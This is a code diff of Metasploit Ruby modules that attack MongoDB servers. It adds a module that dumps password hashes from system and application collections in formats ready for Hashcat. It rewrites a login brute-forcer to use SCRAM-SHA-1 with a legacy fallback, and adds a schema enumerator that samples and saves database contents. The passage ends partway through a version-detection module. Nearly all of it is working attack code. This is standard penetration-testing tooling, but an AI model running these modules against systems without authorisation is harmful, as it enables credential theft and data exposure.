0000000000000..773dae13e0466 --- /dev/null +++ b/modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb @@ -0,0 +1,405 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'bson' +require 'openssl' +require 'digest' +require 'base64' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Hash Extractor', + 'Description' => %q{ + This module extracts password hashes from a MongoDB instance and stores + them in the database for later cracking. By default, it dumps system user + credentials from the 'system.users' collection. Alternatively, + it can dump application user hashes from a specified collection. + + The dumped SCRAM hashes are formatted for Hashcat mode 24100 (SCRAM-SHA-1) + and 24200 (SCRAM-SHA-256), but are not yet wired into Metasploit's + auxiliary/analyze cracking modules -- use hashcat directly against the + exported hash, or 'creds -o' to export it, for now. + Successfully tested against MongoDB 3.6 with and without authentication + }, + 'References' => [ + [ 'URL', 'https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/' ], + [ 'URL', 'https://github.com/mongodb/specifications/blob/master/source/auth/auth.rst/' ], + [ 'URL', 'https://hashcat.net/wiki/doku.php?id=example_hashes' ] + ], + 'Author' => [ + 'h00die', + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(27017), + OptString.new('DB', [ true, 'Database to query', 'admin']), + OptString.new('COLLECTION', [ false, 'Custom collection to dump (if empty, dumps system.users)', '']), + OptString.new('USER_FIELD', [ false, 'Username field name for custom collection', 'username']), + OptString.new('HASH_FIELD', [ false, 'Hash field name for custom collection', 'hash']), + OptString.new('USERNAME', [ false, 'Username for authentication if required', '']), + OptString.new('PASSWORD', [ false, 'Password for authentication if required', '']) + ] + ) + end + + def run_host(ip) + print_status("Connecting to #{ip}...") + begin + connect + + if require_auth? + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + if user.blank? || pass.blank? + print_error('Authentication required but no USERNAME/PASSWORD provided') + return + end + + print_status("Authentication required, attempting login as '#{user}'...") + if do_login(user, pass) != :success + print_error('Login failed') + return + end + print_good('Successfully authenticated') + else + print_good('No authentication required') + end + + if datastore['COLLECTION'].blank? + dump_system_users + else + dump_app_users + end + rescue StandardError => e + print_error("Unable to connect: #{e}") + ensure + disconnect + end + end + + def dump_system_users + db = datastore['DB'] + print_status("Dumping MongoDB system users from #{db}.system.users...") + + cmd = BSON::Document.new({}) + pkt = mongodb_build_packet("#{db}.system.users", cmd.to_bson.to_s, number_to_return: -1) + + sock.put(pkt) + resp = sock.get_once(-1, 10) + + docs = mongodb_parse_docs(resp) + + if docs.empty? + print_warning('No users found or unable to parse') + return + end + + tbl = Rex::Text::Table.new( + 'Header' => 'MongoDB System Hashes', + 'Columns' => ['Type', 'Username', 'Hash'] + ) + + service_data = { + address: ::Rex::Socket.getaddress(rhost, true), + port: rport, + service_name: 'mongodb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + docs.each do |doc| + user = doc['user'] + creds = doc['credentials'] || {} + + # SCRAM-SHA-1 (Hashcat 24100) + if creds['SCRAM-SHA-1'] + s1 = creds['SCRAM-SHA-1'] + b64_user = Base64.strict_encode64(user) + hash = "$mongodb-scram$*0*#{b64_user}*#{s1['iterationCount']}*#{s1['salt']}*#{s1['serverKey']}" + tbl << ['db (SCRAM-SHA-1)', user, hash] + + store_hash_credential(service_data, user, hash, 'mongodb-scram-sha1') + end + + # SCRAM-SHA-256 (Hashcat 24200) + if creds['SCRAM-SHA-256'] + s256 = creds['SCRAM-SHA-256'] + b64_user = Base64.strict_encode64(user) + hash = "$mongodb-scram$*1*#{b64_user}*#{s256['iterationCount']}*#{s256['salt']}*#{s256['serverKey']}" + tbl << ['db (SCRAM-SHA-256)', user, hash] + + store_hash_credential(service_data, user, hash, 'mongodb-scram-sha256') + end + + # MONGODB-CR Legacy (Plain MD5) + next unless doc['pwd'] && !creds.key?('SCRAM-SHA-1') && !creds.key?('SCRAM-SHA-256') + + hash = doc['pwd'] + tbl << ['db (MONGODB-CR)', user, hash] + + store_hash_credential(service_data, user, hash, 'md5') + end + + print_good("\n#{tbl}") + end + + def dump_app_users + coll = datastore['COLLECTION'] + user_field = datastore['USER_FIELD'] + hash_field = datastore['HASH_FIELD'] + db = datastore['DB'] + + print_status("Dumping app hashes from #{db}.#{coll} (Field: #{user_field}:#{hash_field})...") + + cmd = BSON::Document.new({ + hash_field => { '$exists' => true, '$ne' => '' } + }) + pkt = mongodb_build_packet("#{db}.#{coll}", cmd.to_bson.to_s, number_to_return: -1) + + sock.put(pkt) + resp = sock.get_once(-1, 10) + + docs = mongodb_parse_docs(resp) + + if docs.empty? + print_warning('No users found or unable to parse') + return + end + + tbl = Rex::Text::Table.new( + 'Header' => 'MongoDB Application Hashes', + 'Columns' => ['Type', 'Username', 'Hash'] + ) + + service_data = { + address: ::Rex::Socket.getaddress(rhost, true), + port: rport, + service_name: 'mongodb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + docs.each do |doc| + user = doc[user_field].to_s + hash = doc[hash_field].to_s + + next if user.blank? || hash.blank? + + tbl << ['app', user, hash] + + store_hash_credential(service_data, user, hash) + end + + print_good("\n#{tbl}") + end + + def store_hash_credential(service_data, username, hash, jtr_format = nil) + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: username, + private_data: hash, + private_type: :nonreplayable_hash + } + credential_data[:jtr_format] = jtr_format if jtr_format + credential_data.merge!(service_data) + + create_credential(credential_data) + end + + def do_login(user, password) + vprint_status("Trying user: #{user}, password: #{password}") + + scram_status = auth_scram_sha1(user, password) + return :success if scram_status == :next_user + + vprint_status('SCRAM-SHA-1 not accepted or failed; trying MONGODB-CR fallback...') + nonce = get_nonce + if nonce.present? + cr_status = auth_cr(user, password, nonce) + return :success if cr_status == :next_user + end + + nil + end + + def auth_scram_sha1(user, password) + db = datastore['DB'] + digest_pass = Digest::MD5.hexdigest("#{user}:mongo:#{password}") + + client_nonce = Rex::Text.rand_text_alphanumeric(24) + auth_payload = "n=#{user},r=#{client_nonce}" + client_first_bare = auth_payload + client_first_message = "n,,#{auth_payload}" + + sasl_start_cmd = BSON::Document.new({ + 'saslStart' => BSON::Int32.new(1), + 'mechanism' => 'SCRAM-SHA-1', + 'payload' => BSON::Binary.new(client_first_message) + }) + + pkt = mongodb_build_packet("#{db}.$cmd", sasl_start_cmd.to_bson.to_s) + sock.put(pkt) + resp = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(resp) + return nil unless reply && reply['ok'].to_i == 1 + + conversation_id = reply['conversationId'] + server_payload = reply['payload'].data + server_vars = mongodb_parse_scram_payload(server_payload) + + server_nonce = server_vars['r'] + salt = Rex::Text.decode_base64(server_vars['s']) + iterations = server_vars['i'].to_i + + salted_password = OpenSSL::PKCS5.pbkdf2_hmac( + digest_pass, + salt, + iterations, + 20, + OpenSSL::Digest.new('SHA1') + ) + + client_key = OpenSSL::HMAC.digest('sha1', salted_password, 'Client Key') + stored_key = OpenSSL::Digest::SHA1.digest(client_key) + client_final_without_proof = "c=biws,r=#{server_nonce}" + auth_message = "#{client_first_bare},#{server_payload},#{client_final_without_proof}" + + client_signature = OpenSSL::HMAC.digest('sha1', stored_key, auth_message) + client_proof = Rex::Text.xor(client_key, client_signature) + client_final_message = "#{client_final_without_proof},p=#{Rex::Text.encode_base64(client_proof)}" + + conv_id_bson = conversation_id.is_a?(Integer) ? BSON::Int32.new(conversation_id) : conversation_id + + sasl_continue_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new(client_final_message) + }) + + pkt = mongodb_build_packet("#{db}.$cmd", sasl_continue_cmd.to_bson.to_s) + sock.put(pkt) + resp = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(resp) + if reply && reply['ok'].to_i == 1 + print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}' (SCRAM-SHA-1)") + report_cred( + ip: rhost, + port: rport, + service_name: 'mongodb', + user: user, + password: password, + proof: reply.inspect + ) + return :next_user + end + + nil + rescue StandardError => e + vprint_error("SCRAM-SHA-1 exception: #{e.message}") + nil + end + + def auth_cr(user, password, nonce) + db = datastore['DB'] + key = Rex::Text.md5(nonce + user + Rex::Text.md5("#{user}:mongo:#{password}")) + + cmd = BSON::Document.new({ + 'authenticate' => BSON::Int32.new(1), + 'user' => user, + 'nonce' => nonce, + 'key' => key + }) + + packet = mongodb_build_packet("#{db}.$cmd", cmd.to_bson.to_s) + sock.put(packet) + response = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(response) + if reply && reply['ok'].to_i == 1 + print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}' (MONGODB-CR)") + report_cred( + ip: rhost, + port: rport, + service_name: 'mongodb', + user: user, + password: password, + proof: reply.inspect + ) + return :next_user + end + + nil + rescue StandardError => e + vprint_error("MONGODB-CR exception: #{e.message}") + nil + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def get_nonce + cmd = BSON::Document.new({ 'getnonce' => BSON::Int32.new(1) }) + pkt = mongodb_build_packet("#{datastore['DB']}.$cmd", cmd.to_bson.to_s) + + sock.put(pkt) + response = sock.get_once(-1, 5) + + doc = mongodb_parse_doc(response) + doc && doc['ok'].to_i == 1 ? doc['nonce'].to_s : '' + end + + def require_auth? + cmd = BSON::Document.new({ 'listDatabases' => BSON::Int32.new(1) }) + list_db_pkt = mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) + + sock.put(list_db_pkt) + auth_resp = sock.get_once(-1, 5) + + mongodb_have_auth_error?(auth_resp) + end +end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb index 41d5f091eb882..773ac4bb2c0bf 100644 --- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb +++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb @@ -3,11 +3,15 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'bson' +require 'openssl' +require 'digest' + class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner - include Msf::Exploit::Remote::Tcp def initialize(info = {}) super( @@ -16,18 +20,22 @@ def initialize(info = {}) 'Name' => 'MongoDB Login Utility', 'Description' => %q{ This module attempts to brute force authentication credentials for MongoDB. - Note that, by default, MongoDB does not require authentication. + It supports both SCRAM-SHA-1 (MongoDB 3.0+) and falls back to legacy + MONGODB-CR authentication if SCRAM is unsupported by the target server. }, 'References' => [ [ 'URL', 'https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/' ], [ 'URL', 'https://github.com/mongodb/specifications/blob/master/source/auth/auth.rst/' ] ], - 'Author' => [ 'Gregory Man ' ], + 'Author' => [ + 'Gregory Man ', + 'h00die' # SCRAM and updating compatibility for MongoDB 3.0+ and later + ], 'License' => MSF_LICENSE, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, - 'Stability' => UNKNOWN_STABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS] } ) ) @@ -35,106 +43,208 @@ def initialize(info = {}) register_options( [ Opt::RPORT(27017), - OptString.new('DB', [ true, "Database to use", "admin"]) + OptString.new('DB', [ true, 'Database to use', 'admin']) ] ) end def run_host(ip) - print_status("Scanning IP: #{ip.to_s}") + print_status("Scanning IP: #{ip}") begin connect + + version = get_version + ver_info = version ? " (version #{version})" : '' + if require_auth? - each_user_pass { |user, pass| + print_status("#{peer} - Mongo server#{ver_info} requires authentication") + each_user_pass do |user, pass| do_login(user, pass) - } + end else report_vuln( - :host => rhost, - :port => rport, - :name => "MongoDB No Authentication", - :refs => self.references, - :exploited_at => Time.now.utc, - :info => "Mongo server has no authentication." + host: rhost, + port: rport, + name: 'MongoDB No Authentication', + refs: references, + exploited_at: Time.now.utc, + info: "Mongo server has no authentication.#{ver_info}" ) - print_good("Mongo server #{ip.to_s} doesn't use authentication") + print_good("Mongo server #{ip}#{ver_info} doesn't use authentication") end disconnect - rescue ::Exception => e - print_error "Unable to connect: #{e.to_s}" + rescue StandardError => e + print_error "Unable to connect: #{e}" return end end + def get_version + cmd = BSON::Document.new({ 'buildInfo' => BSON::Int32.new(1) }) + pkt = mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) + + sock.put(pkt) + resp = sock.get_once(-1, 5) + + doc = mongodb_parse_doc(resp) + return nil unless doc && doc['version'] + + version_str = doc['version'] + report_service( + host: rhost, + port: rport, + name: 'mongodb', + proto: 'tcp', + info: "MongoDB #{version_str}" + ) + version_str + rescue StandardError => e + vprint_error("#{peer} - Failed to parse version from buildInfo: #{e.message}") + nil + end + def require_auth? - request_id = Rex::Text.rand_text(4) - packet = "\x3f\x00\x00\x00" # messageLength (63) - packet << request_id # requestID - packet << "\xff\xff\xff\xff" # responseTo - packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" # flags - packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (admin.$cmd) - packet << "\x00\x00\x00\x00" # numberToSkip (0) - packet << "\x01\x00\x00\x00" # numberToReturn (1) - # query ({"listDatabases"=>1}) - packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00" + cmd = BSON::Document.new({ 'listDatabases' => BSON::Int32.new(1) }) + list_db_pkt = mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) - sock.put(packet) - response = sock.recv(1024) + sock.put(list_db_pkt) + auth_resp = sock.get_once(-1, 5) - have_auth_error?(response) + mongodb_have_auth_error?(auth_resp) end def do_login(user, password) vprint_status("Trying user: #{user}, password: #{password}") + + # 1. Try SCRAM-SHA-1 first (MongoDB 3.0+) + scram_status = auth_scram_sha1(user, password) + return scram_status if scram_status == :next_user + + # 2. Fallback to MONGODB-CR if SCRAM failed or is unsupported + vprint_status("#{peer} - SCRAM-SHA-1 not accepted or failed; trying MONGODB-CR fallback...") nonce = get_nonce - status = auth(user, password, nonce) - return status + if nonce.present? + cr_status = auth_cr(user, password, nonce) + return cr_status if cr_status == :next_user + end + + nil + end + + # SCRAM-SHA-1 Handshake (MongoDB 3.0+) + def auth_scram_sha1(user, password) + db = datastore['DB'] + digest_pass = Digest::MD5.hexdigest("#{user}:mongo:#{password}") + + client_nonce = Rex::Text.rand_text_alphanumeric(24) + auth_payload = "n=#{user},r=#{client_nonce}" + client_first_bare = auth_payload + client_first_message = "n,,#{auth_payload}" + + sasl_start_cmd = BSON::Document.new({ + 'saslStart' => BSON::Int32.new(1), + 'mechanism' => 'SCRAM-SHA-1', + 'payload' => BSON::Binary.new(client_first_message) + }) + + pkt = mongodb_build_packet("#{db}.$cmd", sasl_start_cmd.to_bson.to_s) + sock.put(pkt) + resp = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(resp) + return nil unless reply && reply['ok'].to_i == 1 + + conversation_id = reply['conversationId'] + server_payload = reply['payload'].data + server_vars = mongodb_parse_scram_payload(server_payload) + + server_nonce = server_vars['r'] + salt = Rex::Text.decode_base64(server_vars['s']) + iterations = server_vars['i'].to_i + + salted_password = OpenSSL::PKCS5.pbkdf2_hmac( + digest_pass, + salt, + iterations, + 20, + OpenSSL::Digest.new('SHA1') + ) + + client_key = OpenSSL::HMAC.digest('sha1', salted_password, 'Client Key') + stored_key = OpenSSL::Digest::SHA1.digest(client_key) + client_final_without_proof = "c=biws,r=#{server_nonce}" + auth_message = "#{client_first_bare},#{server_payload},#{client_final_without_proof}" + + client_signature = OpenSSL::HMAC.digest('sha1', stored_key, auth_message) + client_proof = Rex::Text.xor(client_key, client_signature) + client_final_message = "#{client_final_without_proof},p=#{Rex::Text.encode_base64(client_proof)}" + + conv_id_bson = conversation_id.is_a?(Integer) ? BSON::Int32.new(conversation_id) : conversation_id + + sasl_continue_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new(client_final_message) + }) + + pkt = mongodb_build_packet("#{db}.$cmd", sasl_continue_cmd.to_bson.to_s) + sock.put(pkt) + resp = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(resp) + if reply && reply['ok'].to_i == 1 + print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}' (SCRAM-SHA-1)") + report_cred( + ip: rhost, + port: rport, + service_name: 'mongodb', + user: user, + password: password, + proof: reply.inspect + ) + return :next_user + end + + nil + rescue StandardError => e + vprint_error("#{peer} - SCRAM-SHA-1 exception: #{e.message}") + nil end - def auth(user, password, nonce) - request_id = Rex::Text.rand_text(4) - packet = request_id # requestID - packet << "\xff\xff\xff\xff" # responseTo - packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" # flags - packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd) - packet << "\x00\x00\x00\x00" # numberToSkip (0) - packet << "\xff\xff\xff\xff" # numberToReturn (1) - - # {"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"} - document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65" - document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00" - document << [user.length + 1].pack("L") # +1 due null byte termination - document << user + "\x00" - document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00" - document << nonce + "\x00" - document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00" - document << Rex::Text.md5(nonce + user + Rex::Text.md5(user + ":mongo:" + password)) + "\x00" - document << "\x00" - # Calculate document length - document.insert(0, [document.length + 4].pack("L")) - - packet += document - - # Calculate messageLength - packet.insert(0, [(packet.length + 4)].pack("L")) # messageLength + # Legacy MONGODB-CR Handshake (MongoDB < 3.0) + def auth_cr(user, password, nonce) + db = datastore['DB'] + key = Rex::Text.md5(nonce + user + Rex::Text.md5("#{user}:mongo:#{password}")) + + cmd = BSON::Document.new({ + 'authenticate' => BSON::Int32.new(1), + 'user' => user, + 'nonce' => nonce, + 'key' => key + }) + + packet = mongodb_build_packet("#{db}.$cmd", cmd.to_bson.to_s) sock.put(packet) - response = sock.recv(1024) - unless have_auth_error?(response) - print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}'") + response = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(response) + if reply && reply['ok'].to_i == 1 + print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}' (MONGODB-CR)") report_cred( ip: rhost, port: rport, service_name: 'mongodb', user: user, password: password, - proof: response.inspect + proof: reply.inspect ) return :next_user end - return + nil + rescue StandardError => e + vprint_error("#{peer} - MONGODB-CR exception: #{e.message}") + nil end def report_cred(opts) @@ -165,34 +275,13 @@ def report_cred(opts) end def get_nonce - request_id = Rex::Text.rand_text(4) - packet = "\x3d\x00\x00\x00" # messageLength (61) - packet << request_id # requestID - packet << "\xff\xff\xff\xff" # responseTo - packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" # flags - packet << "\x74\x65\x73\x74\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (test.$cmd) - packet << "\x00\x00\x00\x00" # numberToSkip (0) - packet << "\x01\x00\x00\x00" # numberToReturn (1) - # query {"getnonce"=>1.0} - packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" + cmd = BSON::Document.new({ 'getnonce' => BSON::Int32.new(1) }) + pkt = mongodb_build_packet("#{datastore['DB']}.$cmd", cmd.to_bson.to_s) - sock.put(packet) - response = sock.recv(1024) - documents = response[36..1024] - # {"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0} - nonce = documents[15..30] - end + sock.put(pkt) + response = sock.get_once(-1, 5) - def have_auth_error?(response) - # Response header 36 bytes long - documents = response[36..1024] - # {"errmsg"=>"auth fails", "ok"=>0.0} - # {"errmsg"=>"need to login", "ok"=>0.0} - if documents.include?('errmsg') - return true - else - return false - end + doc = mongodb_parse_doc(response) + doc && doc['ok'].to_i == 1 ? doc['nonce'].to_s : '' end end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb b/modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb new file mode 100644 index 0000000000000..d619a8c9b25e2 --- /dev/null +++ b/modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb @@ -0,0 +1,261 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'bson' +require 'openssl' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Schema Enumerator', + 'Description' => %q{ + This module connects to an unauthenticated or authenticated MongoDB instance, + authenticates using SCRAM-SHA-1 if credentials are provided, enumerates + databases and collections via wire protocol, samples documents, and dumps + the inferred schema structure. + + Successfully tested against MongoDB 3.6 with and without authentication + }, + 'Author' => [ 'h00die' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://www.mongodb.com/docs/manual/reference/mongodb-wire-protocol/' ] + ], + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(27017), + OptString.new('DB_NAME', [ false, 'Specific database to enumerate (leave blank for all)', '' ]), + OptString.new('AUTH_DB', [ false, 'Database to authenticate against', 'admin' ]), + OptString.new('USERNAME', [ false, 'Username for authentication', '' ]), + OptString.new('PASSWORD', [ false, 'Password for authentication', '' ]), + OptInt.new('SAMPLE_SIZE', [ true, 'Number of sample documents to inspect per collection for schema mapping', 5 ]) + ] + ) + end + + def run_host(_ip) + connect + + print_status('Connected to MongoDB wire protocol') + + if datastore['USERNAME'].present? + auth_db = datastore['AUTH_DB'].presence || 'admin' + unless authenticate(auth_db) + print_error('Stopping scan due to authentication failure.') + return + end + end + + dbs = fetch_databases + if dbs.empty? + print_error('Could not retrieve databases.') + return + end + + print_good("Found Databases: #{dbs.join(', ')}") + + schema_report = {} + + dbs.each do |db| + next if datastore['DB_NAME'].present? && datastore['DB_NAME'] != db + + collections = fetch_collections(db) + print_status(" DB '#{db}' Collections: #{collections.join(', ')}") + + schema_report[db] = {} + + collections.each do |coll| + fields = sample_collection_schema(db, coll) + schema_report[db][coll] = fields + + if fields.any? + vprint_good(" Schema for #{db}.#{coll}:") + fields.each { |field, type| vprint_line(" - #{field} (#{type})") } + else + vprint_status(" Collection #{db}.#{coll} is empty or returned no fields.") + end + end + end + + report_json = JSON.pretty_generate(schema_report) + loot_path = store_loot( + 'mongodb.schema', + 'application/json', + rhost, + report_json, + 'mongodb_schema.json', + 'MongoDB Schema Structure' + ) + print_good("Schema dumped to loot: #{loot_path}") + rescue ::Rex::ConnectionError => e + print_error("Connection failed: #{e.message}") + ensure + disconnect + end + + private + + def authenticate(db = 'admin') + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + digest_pass = Digest::MD5.hexdigest("#{user}:mongo:#{pass}") + + client_nonce = Rex::Text.rand_text_alphanumeric(24) + auth_payload = "n=#{user},r=#{client_nonce}" + client_first_bare = auth_payload + client_first_message = "n,,#{auth_payload}" + + sasl_start_cmd = BSON::Document.new({ + 'saslStart' => BSON::Int32.new(1), + 'mechanism' => 'SCRAM-SHA-1', + 'payload' => BSON::Binary.new(client_first_message) + }) + + reply = send_query_single("#{db}.$cmd", sasl_start_cmd.to_bson.to_s) + unless reply && reply['ok'].to_i == 1 + print_error('SCRAM-SHA-1 auth initial request rejected.') + return false + end + + conversation_id = reply['conversationId'] + server_payload = reply['payload'].data + server_vars = mongodb_parse_scram_payload(server_payload) + + server_nonce = server_vars['r'] + salt = Rex::Text.decode_base64(server_vars['s']) + iterations = server_vars['i'].to_i + + salted_password = OpenSSL::PKCS5.pbkdf2_hmac( + digest_pass, + salt, + iterations, + 20, + OpenSSL::Digest.new('SHA1') + ) + + client_key = OpenSSL::HMAC.digest('sha1', salted_password, 'Client Key') + stored_key = OpenSSL::Digest::SHA1.digest(client_key) + client_final_without_proof = "c=biws,r=#{server_nonce}" + auth_message = "#{client_first_bare},#{server_payload},#{client_final_without_proof}" + + client_proof = Rex::Text.xor(client_key, OpenSSL::HMAC.digest('sha1', stored_key, auth_message)) + client_final_message = "#{client_final_without_proof},p=#{Rex::Text.encode_base64(client_proof)}" + + conv_id_bson = conversation_id.is_a?(Integer) ? BSON::Int32.new(conversation_id) : conversation_id + + sasl_continue_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new(client_final_message) + }) + + reply = send_query_single("#{db}.$cmd", sasl_continue_cmd.to_bson.to_s) + unless reply && reply['ok'].to_i == 1 + vprint_error("saslContinue failure: #{reply.inspect}") + print_error("Authentication failed for '#{user}' on '#{db}'") + return false + end + + # Handle final SASL step if done is false or server signature validation is pending + if reply['done'] == false + final_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new('') + }) + reply = send_query_single("#{db}.$cmd", final_cmd.to_bson.to_s) + end + + if reply && reply['ok'].to_i == 1 + print_good("Authenticated successfully as '#{user}' on '#{db}'") + true + else + print_error('Final SASL confirmation failed.') + false + end + end + + def fetch_databases + cmd = BSON::Document.new({ + 'listDatabases' => BSON::Int32.new(1) + }) + + reply = send_query_single('admin.$cmd', cmd.to_bson.to_s) + vprint_status("Post-auth listDatabases reply: #{reply.inspect}") + + return [] unless reply && reply['ok'].to_i == 1 && reply['databases'] + + reply['databases'].map { |d| d['name'] } + end + + def fetch_collections(db) + # Construct listCollections as a dynamic BSON Document + cmd = BSON::Document.new({ + 'listCollections' => BSON::Int32.new(1) + }) + + reply = send_query_single("#{db}.$cmd", cmd.to_bson.to_s) + return [] unless reply + + cursor = reply['cursor'] + return [] unless cursor && cursor['firstBatch'] + + cursor['firstBatch'].map { |c| c['name'] } + end + + def sample_collection_schema(db, collection) + empty_query = "\x05\x00\x00\x00\x00" + sample_limit = datastore['SAMPLE_SIZE'] + + docs = send_query_multi("#{db}.#{collection}", empty_query, sample_limit) + return {} if docs.empty? + + field_map = {} + docs.each do |doc| + extract_fields(doc, '', field_map) + end + + field_map + end + + def extract_fields(hash_or_doc, prefix, map) + hash_or_doc.each do |key, val| + full_key = prefix.empty? ? key.to_s : "#{prefix}.#{key}" + map[full_key] ||= val.class.to_s.demodulize + + if val.is_a?(Hash) || val.is_a?(BSON::Document) + extract_fields(val, full_key, map) + end + end + end + + def send_query_single(full_coll_name, bson_payload) + send_query_multi(full_coll_name, bson_payload, 1).first + end + + def send_query_multi(full_coll_name, bson_payload, number_to_return = 5) + pkt = mongodb_build_packet(full_coll_name, bson_payload, number_to_return: number_to_return) + + sock.put(pkt) + response_raw = sock.get_once(-1, 5) + + mongodb_parse_docs(response_raw) + end +end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_version.rb b/modules/auxiliary/scanner/mongodb/mongodb_version.rb new file mode 100644 index 0000000000000..190a108823864 --- /dev/null +++ b/modules/auxiliary/scanner/mongodb/mongodb_version.rb @@ -0,0 +1,87 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'bson' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Version Detector', + 'Description' => %q{ + This module connects to a MongoDB instance and retrieves the server version + using the buildInfo command. No authentication is required for this command. + + Tested against MongoDB 3.6.23 + }, + 'References' => [ + [ 'URL', 'https://docs.mongodb.com/manual/reference/command/buildInfo/' ] + ], + 'Author' => [ + 'h00die' + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(27017) + ] + ) + end + + def run_host(_ip) + print_status("Connecting to #{peer}...") + begin + connect + + version = get_version + if version + print_good("#{peer} - MongoDB version: #{version}") + else + print_warning("#{peer} - Unable to retrieve MongoDB version") + end + rescue StandardError => e + print_error("#{peer} - Connection failed: #{e}") + ensure + disconnect + end + end + + def get_version + cmd = BSON::Document.new({ 'buildInfo' => BSON::Int32.new(1) }) + pkt = 